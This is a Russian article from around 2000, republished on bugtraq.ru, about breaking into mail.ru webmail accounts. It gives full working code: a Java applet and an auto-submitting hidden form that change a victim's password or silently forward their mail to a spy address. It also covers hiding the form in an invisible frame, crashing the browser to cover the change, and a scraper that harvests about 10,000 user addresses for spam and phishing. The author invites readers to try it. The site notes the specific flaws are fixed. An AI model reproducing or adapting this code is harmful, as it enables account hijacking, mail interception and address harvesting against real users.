информационная безопасность
без паники и всерьез
 подробно о проекте
Rambler's Top100Сетевые кракеры и правда о деле ЛевинаСтрашный баг в Windows
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
 Умер Никлаус Вирт 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / библиотека / www
БИБЛИОТЕКА
вход в библиотеку
книги
безопасность
программирование
криптография
internals
www
телефония
underground
беллетристика
разное
обзор: избранное
конкурс
рейтинг статей
обсуждение




Подписка:
BuqTraq: Обзор
RSN
БСК
Закон есть закон




Некоторые методы технического взлома почтового ящика с WWW-интерфейсом (на примере www.mail.ru)
А.V.Komlin
Опубликовано: dl, 25.11.01 22:13

Комментарий bugtraq.ru:
Необходимо отметить, что описанные в статье конкретные уязвимости уже давным-давно исправлены, так что с этой точки зрения статья представляет чисто исторический интерес (соответственно, нет особого смысла бросаться реализовывать на практике описанные атаки). С другой стороны, приведенные в ней типовые ошибки и подходы к их выявлению достаточно актуальны для разработчиков web-приложений и сейчас.



Дополнение от 10.01.2000
Дополнение от 22.01.2000

Введение

На форуме hackzone.ru часто появляются запросы вида "Как сломать почтовый ящик на mail.xxx?" Чтобы помочь частично разгрузить форум, решено было написать данную статью. ;-). Она будет также полезна пользователям, решившим оценить свою почтовую систему.

В последнее время значительную популярность обрели почтовые системы на основе WWW-Интерфейса ( www.hotmail.com, www.mail.com, www.netscape.net в России - www.mail.ru). Web-почту "местного значения" также предлагают провайдеры, работающие по схемам "Интернет-Кард" или "Интернет-в-кредит". Честно говоря, автору совершенно непонятны причины такого успеха. Сторонники подобных систем обычно заявляют о простоте и удобстве пользования, при большей безопасности, ссылаясь на огромное кол-во вирусов и печальный пример MS Outlook и MS Outlook Express 5. Первые два аргумента, похоже, соответствуют действительности, а о безопасности поговорим чуть ниже.

В статье будет рассмотрен один из вариантов технического подхода к вскрытию почтового ящика, основанного на совместном использовании недоработок современных браузеров, принципиальных недостатках CGI, и ошибках в политике безопасности почтовых служб. Именно он чаще всего применяется в атаках на Web-почту. Для "конкретности", будет описан найденый автором метод "захвата" или "подслушивания" пользователя популярной в России системе mail.ru и способ защиты.

"Социальная инженерия" (сравнимый по эффективности) вид взлома рассматриваться не будет просто потому, что она детально рассмотрена в статьях других авторов hackzon'ы.

Существуют, конечно и другие методы, возможно, лучшие, чем описанный ниже. Может, их авторы тоже поделятся своими мыслями в отзывах или напишут статью...

1. Принципиальные недостатки безопасности WWW-почты.

(Не)Надежность обычной почтовой програмы определяется (без)грамотностью её написания.

Браузер же как система прочтения почты изначально недостаточно безопасен, поэтому создатели почты вынуждены налагать ограничения на теги, используемые в письмах ( <script ...>, <iframe> и т.д.). Как правило, встроенный фильтр просто удаляет "небезопасные" с его точки зрения инструкции. Принципиальных недостатков у подобного подхода два: (1) слишком строгие фильтры могут повредить само письмо, да и (2) трудно предугадать заранее, на что способна безопасная с виду конструкция. Тем не менее, именно на фильтрации основаны большинство существующих почтовых систем.

Cамый же уязвимый элемент - это способ задания пользовательских настроек и пароля. Они, как правило, задаются с помощью CGI-форм (как наиболее распространённого стандарта) по тем же каналам, что используются для работы с почтой, и могут быть вызваны любым членам сети, сумевшим подделать ip и cookies пользователя, или (что гораздо проще) временно захватившим контроль над браузером.

2. Технология атаки.

Итак, мы решили перехватить контроль у пользователя xxxx почтовой системы с Web- интерфейсом, например yyyy.zz. Только убедитесь, что он действительно пользуется web-интерфейсом, а не читает почту через pop3 -сервер или пользуется форвардингом.

Заводим почтовый ящик на этом же сервисе и в первую очередь смотрим, как задаются и изменяются пароль и прочие настройки. На mail.ru (и многих других) это делает обычная форма, результаты заполнения которой передаются в CGI-скрипт

cgi-bin/modifyuser?modify

Для идентификации пользователя, похоже, используется скрытое поле

<input type="hidden" name="Username" value="intst1">

Нам предоставляется вохможность изменить :

имя пользователя;
<input type="text" name="RealName" value="A. V. Komlni">

адрес пересылки (форвардинга) и возможность сохранения почты при этом;
<input type="text" name="Forward" value="...">
<input type=checkbox name="Flags.DoNotKeepMail" >

пароль;
<input type="password" name="Password" value="****************">
<input type="password" name="Password_Verify" value="****************">

Попробуем сформировать соответствующий файл, задав в скрытом поле имя интересующего нас пользователя и отослать форму, т.к. CGI, увы, не проверяет место нахождения формы-запроса.

<form method=post action="http://koi.mail.ru/cgi-bin/modifyuser?modify">

Не получилось. Быть может, в интересующей Вас системе этого окажется достаточно, а в mail.ru такие шутки не проходят.

Значит, пользователь идентифицируется с помощью cookies или, хуже того, ip. Пробуем вручную отредактировать cookies - результат тот же. Следовательно, эту форму должен отослать сам пользователь.

Наиболее простой способ захвата контроля над браузером - внедрение <script> и &{ ... } конструкций в письмо - давно уже пресечён с помощью фильтров почти всеми, и mail.ru в том числе. Тем не менее попробуйте, чем чёрт не шутит. Если теги разрешены, то фильтрация самого javascript иногда может быть обойдена при помощи средств динамической генерации кода.

Неплохой результат иногда дают конструкции вида <тег [XX]SRC=...>, например <IMAGE LoSrc="javascript..."...> , <IFRAME SCR="about: <script...> ..."> для IE и <ilayer src="mocha:..."> для NC. ("mocha" - это старый, всеми позабытый аналог модификатора "javascript", сохранившийся в NC). Вообще, чем реже используется тот или иной тег тем больше вероятность, что разработчики забыли его офильтровать...). Недостаток этого подхода в том, что требуется знать тип и версию используемого браузера.

К сожалению (вернее к счастью), у программистов mail.ru память хорошая. В конце концов это их и подвело. Наверное, они (да и не только они, похоже) читали "умные" книжки, запомнив, что Java - одна из самых безопасных технологий в сети. Поэтому и разрешили тег <Applet...>. ( те из Вас, кто читал мои предыдущие статьи "Безопасный Netscape...", уже убедились, что JVM заботится только о собственной безопасности, до того, что сделается с браузером, ей дела нет!).

В стандарте Java есть класс AppletContext (зачем?!), позволяющий нам открывать новые окна или менять текущие.

URL myURL=new URL("http:...editprofil.html"); 
getAppletContext().showDocument(myURL,"_self");
getAppletContext().showDocument(myURL,"newwin");

На любой общедоступной страничке размещаем файл editprofil.html ( содержащий требуемую форму), прописываем к нему путь в апплете, который размещаем там-же и высылаем пользователю письмо, содержащее вызов апплета. Этот эксплойт не зависит от браузера, одинаково "хорошо" работая в IE и NC. ( не забудьте отредактировать _ПУТЬ_)

<applet
    code=readr.class
    name=readrie
    codebase="_ПУТЬ_/"
    width=320
    height=240 >
<B> SET Java On</B>
</applet>

------------------------------------------------------
readr.java ( не забудьте отредактировать _ПУТЬ_)
-------------------------------------------------------
import java.applet.*;
import java.awt.*;
import java.net.*;

public class readrie extends Applet
{

public void paint(Graphics g) 
{ try {

                URL myURL=new URL("_ПУТЬ_editprofil.html"); 
getAppletContext().showDocument(myURL,"_self");

} catch (Exception e) { 
          g.drawString("Error", 10, 10);
}
}
}
--------------------------------------------------------------------
editprofil.html ( не забудьте отредактировать ИМЯ_ПОЛЬЗОВАТЕЛЯ и
НОВЫЙ_ПАРОЛЬ)
--------------------------------------------------------------------
<html>
<body>
<form method=post action="http://koi.mail.ru/cgi-bin/modifyuser?modify">
<input type="hidden" name="Username" value=" ИМЯ_ПОЛЬЗОВАТЕЛЯ ">
<input type="text" name="RealName" value="A. V. Komlni">
<input type="text" name="Forward" value="">
<input type="password" name="Password" value=" НОВЫЙ_ПАРОЛЬ ">
<input type="password" name="Password_Verify" value=" НОВЫЙ_ПАРОЛЬ ">
<input type=checkbox name="Flags.DoNotKeepMail" >
Не сохранять почту при пересылке<br>

<input type="submit" value="Сохранить"> <input type="reset"
value="Восстановить">
</form>
<SCRIPT LANGUAGE="JavaScript">
 document.forms[0].submit();
</script>

</body>
</html>

Письмо можно сформировать просто присоединением (attach) HTML -файла (в Netscape Messenger, например) содержащего необходимые теги. Присоединенный в Messenger'е HTML-файл mail.ru откроет автоматически.

Как только абонент попытается прочитать письмо, выполнится апплет, и через несколько секунд форма будет отослана от имени жертвы.

Вот, в принципе, и всё. Пользователю присвоен новый пароль. Если мы хотим "просто подслушивать" пользователя, в значение полей Password необходимо внести 16 звёздочек, а в поле Forward - куда отсылать копии. Это довольно рискованный вариант: пользователь может случайно заглянуть в настройки и заметить адрес.

<input type="text" name="Forward" value="spy_addr@xxxx.zz">
<input type="password" name="Password" value="****************">
<input type="password" name="Password_Verify" value="****************">

3. Макияж...

Не стоит, конечно, проводить всю эту процедуру перед глазами пользователя ( может он ещё не отключил подтверждение на отправку форм или успеет запомнить разглядеть и запомнить новый пароль). Разумнее переадресовать апплет на какой-нибудь файл содержащий frameset

<FRAMESET COLS="99%,1%">
<FRAME SRC="zastavka.html" NAME="v1">
<FRAME SRC="editprofile.html" NAME="w1">

где zastavka маскирует письмо под безобидную рекламу или дружеское письмо, а editprofile выполняется в невидимом фрейме.

По окончании смены паролей лучше сымитировать сбой т.к. в течении сеанса пользователь может исправить пароль. В IE под Win 95/98, например, достаточно выполнить скрипт open("javascript:open(window.location)"); приводящий к бесконечному размножению окон, требующему перезагрузки. Само письмо лучше отослать (на случай неудачи) от анонимной службы рассылки писем. ( Смотрите статью "Атака на отказ...").

На 06.01.2000 пример ещё работал. Исходники на www.chat.ru/~avkvladru/mail/

Защититься от этой атаки как всегда просто. Отключить Java, а лучше, отказаться от использования Web-интерфейсов. Тот же mail.ru предлагает и форвардинг и pop-сервера. Экономия на настройке приносит проблемы с безопасностью не только администраторам больших сетей, поверьте.

4. Составляем список абонентов сервера.

Заветной мечтой всех спамеров мира является список (база) абонентов. Недаром, в их среде постоянно ходят слухи о каких-то почтовых серверах, поддерживающих команду finger ;). Также пару дней назад на форуме видел очередной крик души ( если таковая ещё жива ;-) :

"Нужна база е-мейлов по заграничным и Московским сайтам $$$ - Вася 02:53:36 06/1/2000 (0)"

Нередко почтовые Web-сервера могут "бесплатно" предоставить подобную информацию. Метод её получения довольно прост. При легальной работе с почтовым ящиком запоминаем адреса CGI-скриптов, ответственных за смену и чтение параметров пользователей. Потом, вызываем их без параметров (форм). Вполне вероятны ошибки в скриптах, при которых они отработают с последними занесёнными ( или использующимися в текущий момент) именами пользователей.

Конечно, шансов на то, что параметры можно изменить нулевые, а вот сообщение об ошибке доступа вполне может содержать имя пользователя, как это происходит на mail.ru. При обращении к тому-же "http://koi.mail.ru/cgi-bin/modifyuser?modify" выдаётся сообщение вида

Настройки пользователя mnebojsa@mail.ru
Ошибка.  Не заполнены необходимые поля.
-

При следующем обращении "сдастся" следующий пользователь или "@/" если таковых не окажется. Осталось исследовать внутреннюю структуру ответа, да написать программу, повторяющую подобные запросы и фильтрующую ответ в поисках нужной информации. Лучше запускать её в часы пик

-------------------------
http://www.chat.ru/~avkvladru/mail/getname.java
-------------------------
import java.io.*;
import java.net.*;
import java.util.*;

public class getname {
 public static void main(String args[]) {
  String nextline;
  try
  {
   URL mailserv= new URL("http://koi.mail.ru/cgi-bin/modifyuser?modify");
   for (int i=1;i<=10000;i++)
   {
     DataInputStream input = new  DataInputStream (
     mailserv.openConnection().getInputStream());
     nextline=input.readLine();
     nextline=input.readLine();
     nextline=input.readLine();    // Нужный нам адрес - в третьей строке
                                   // выходного документа
     System.out.println( nextline);
     input.close();
   }
  }
  catch(Exception ioe)
  {
    System.out.println(ioe.toString());
  }
 }
};
--------------------------------------------------

Вызовы команд вида ( в среде JDK)

:javac getname.java - компилируем файл
:java getname > userlist.txt

занесут в файл userlist.txt примерно 10000 e-mail адресов.

Теперь больной манией величия "хаксор" вполне может создать программу, автоматически рассылающую письма-ловушки отбирающие почтовые ящики, практичный спаммер - рекламу, а конкуренты - сообщение, вида: "бесплатный сервис mail.ru будет с начала месяца прекращён, воспользуйтесь xxxx.ru" или всё вместе

C Уважением
A.V. Komlin
avkvladru@netscape.net

P.S. "Иллюстрация"

Рабочий пример по захвату ящика находится в почтовом боксе intst2 сервера www.mail.ru. Паролем является комбинация из шести единиц "111111" или двоек "222222": попробуйте обе.

В InBox ( Входящих) находятся два письма:

От      Дата   Размер    Тема
1 AVK Jan 07   1K   change pass to 111111
2 AVK Jan 07   1K   change pass to 222222

Когда Вы открываете любое из писем, оно автоматически меняет пароль бокса на указанный в "Теме" (111111 или 222222 соответственно). Для наглядности пример приведён без макияжа( маскировки).

Пожалуйста, перед запуском, убедитесь что у Вас включены cookies (они необходимы для корректной работы почтового сервера) и работает JVM(Java).

PLS, не меняйте и не портьте почтовый ящик. Если пример не работает - скорее всего персонал mail.ru, получив извещение, устранил ошибку. Сообщите об этом мне или на hackzone.

P.P.S. Уважаемые читатели, к сожалению, пример постоянно портят (зачем-то стирают, меняют пароль), а из-за разницы времён мне трудно его оперативно исправлять :-( .

Подробности можете прочитать на форуме.

За адресом примера, если есть желание проверить, обращайтесь ко мне на e-mail. Все файлы, необходимые для создания своего эксплойта лежат на www.chat.ru/~avkvladru/mail/. При проверке Вам достаточно приаттачить файл readr111.html к письму, выслать его на свой почтовый ящик mail.ru и прочитать письмо. Пароль изменится на 111111. Внимание, пример для наглядности без макияжа ( маскировки).

10.01.2000. Дополнение.

Mail.ru устранил ошибку. Надо признать, оперативно. Наверное даже слишком, забыв, что в IE апплеты можно вызвать и тегом "object", который пока разрешен. Конечно, синтакс вызова чуть-другой, но это не проблема. Так, что завтра работу придётся повторить. А у читателей ещё есть время попробовать.

Большое спасибо всем, кто откликнулся на статью. Увы, примеры на mail.ru были практически недоступны, т.к. их постоянно стирали, причем отнюдь не администраторы mail.ru. Вот пример диалога с форума:

-----------------------------------------------

  • new Народ ну не стирайте примеры к статье на mail.ru. Для Вас же сделано. Уважайте чужой труд и своих коллег. - AVKomlin 12:54:29 09/1/2000 (5)
    • new А ты напиши ВСЁ, КАК востанавливаешь сменённый пароль, если я к ящику даже не притрагиваюсь. Может и перестану... . Гыы... - Любопытный 13:17:38 09/1/2000 (4)
      • new Да-а, Таблетки от жадности надо пить. Да побольше, побольше! - AVKomlin 13:23:20 09/1/2000 (2)

22.01.2000 Дополнение II

Уважаемые читатели, в настоящее время все описаные конкретные ошибки в mail.ru устранены, но, уверяю Вас, они действительно существовали, а не плод моего больного воображения ;) (Комментарий hackzone: это могу подтвердить и я, могут и авторы восторженных писем в форуме в первые дни после публикации).

В заключение - ответы на некоторые интересные вопросы, которые позволят яснее выразить смысл данной статьи. Возможно, я сильно увлёкся примерами, в ущерб главной мысли.

1) Из форума "клуба hackzone"
Отправитель: REAn, January 13, 2000, 14:59:03 /195.133.82.xxx/:

>- И много ли найдется почт, где не спрашивают старый пароль при установке
>нового,

Увы, много. Да и необязательно менять пароль ( нередко защищённый), достаточно изменить адрес форвардинга, секретный вопрос или резервный e-mail, которые крайне редко защищёны. Тут и hotmail.com, увы не исключение.

> да еще разрешены зловредные апплеты?

Не в конкретном теге дело, хотя авторам почтовой WEB-системы их всех быстро не выловить (есть ведь и недокументированные) без существенного ущерба для приходящих писем. В конце концов, можно просто дать в письме ссылку на якобы интересную страничку ( которая содержит ловушку описанную в разделе "3. Макияж"), и пользователь щелкнувший по ссылке во время сеанса (или открывший её в новом окне, как большинство из нас делает), рискует остаться без почтового ящика, практически независимо от типа службы ( hotmail.com , netscape.net, webber.com и т.д.) Скажите, многие Web-интерфейсы предупреждали Вас, что нельзя открывать другие сайты во время чтения писем?

IMHO, проблема в том, что отсылка настроек при помощи форм опасна в принципе. Даже проверку местонахождения формы нетрудно обойти.

2) Из почты -
Отправитель: Рома М.
>- Не считаете же Вы возможным отказываться от использования новой идеи
>потому, что она >небезопасна. Так бы и СЕТИ не было. Может, чем
>подставлять тысячи пользователей mail.ru стоило придумать, как упростить
>им жизнь. А безопасные средства коммуникации рано или поздно появятся.

С рабочими примерами, похоже, погорячился. С другой стороны, кто бы эту статью читать стал. Посмотрите на печальную статистику посещаемости многих правильных и более полезных статей.

А безопасные средства уже давно появились. Например тот же Java. Что стоит написать на нём пользовательский интерфейс, для тех пользователей которые желают безопасности и анонимности. Ведь по сути, нашу почту читают все кому не лень от администраторов до провайдеров. Java даёт прекрасные возможности отказаться от средств CGI и шифровать пересылаемую информацию, благодаря чему несанкционированная отсылка рез-тов или подмена апплета пресекается в принципе средствами браузера , т.к. JA разрешено связываться только с сервером откуда он пришёл. Разместить же свой код на почтовом сервере злоумышленнику вряд ли удастся.

Вот примерная реализация. Пользователь загружает апплет. Пользуясь открытым ключём, тот высылает уникальный ( на данный сеанс) случайный ключ и в дальнейшем весь обмен (включая логин и пароль пользователя) идёт в зашифрованном, симметричным криптоалгоритмом, виде. Никто, ни провайдер, ни админ, ни пресловутое ФСБ не смогут установить даже логин пользователя. При желании можно (пользуясь возможностями Netscape LiveConnect ( частичная поддержка которого уже введена и в IE) просматривать письма и в HTML -формате. И теги /скрипты/объекты в них можно разрешить не так ли? Подделать аутентификацию теперь врядли возможно.

3) Из почты-
Отправитель: М. Н.,
>- cтатьи написаны как-то небрежно, читать трудновато

Вы абсолютно правы. Эта статья и все предыдущие были написаны за один вечер. Поэтому огрехов много, но иного выхода пока нет ( разве вообще не писать).

С уважением
A. V. Komlin

обсудить  |  все отзывы (9)

[264605; 237; 6.56]





мини-реклама
ngzt.ru

Rambler's Top100
Рейтинг@Mail.ru





  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach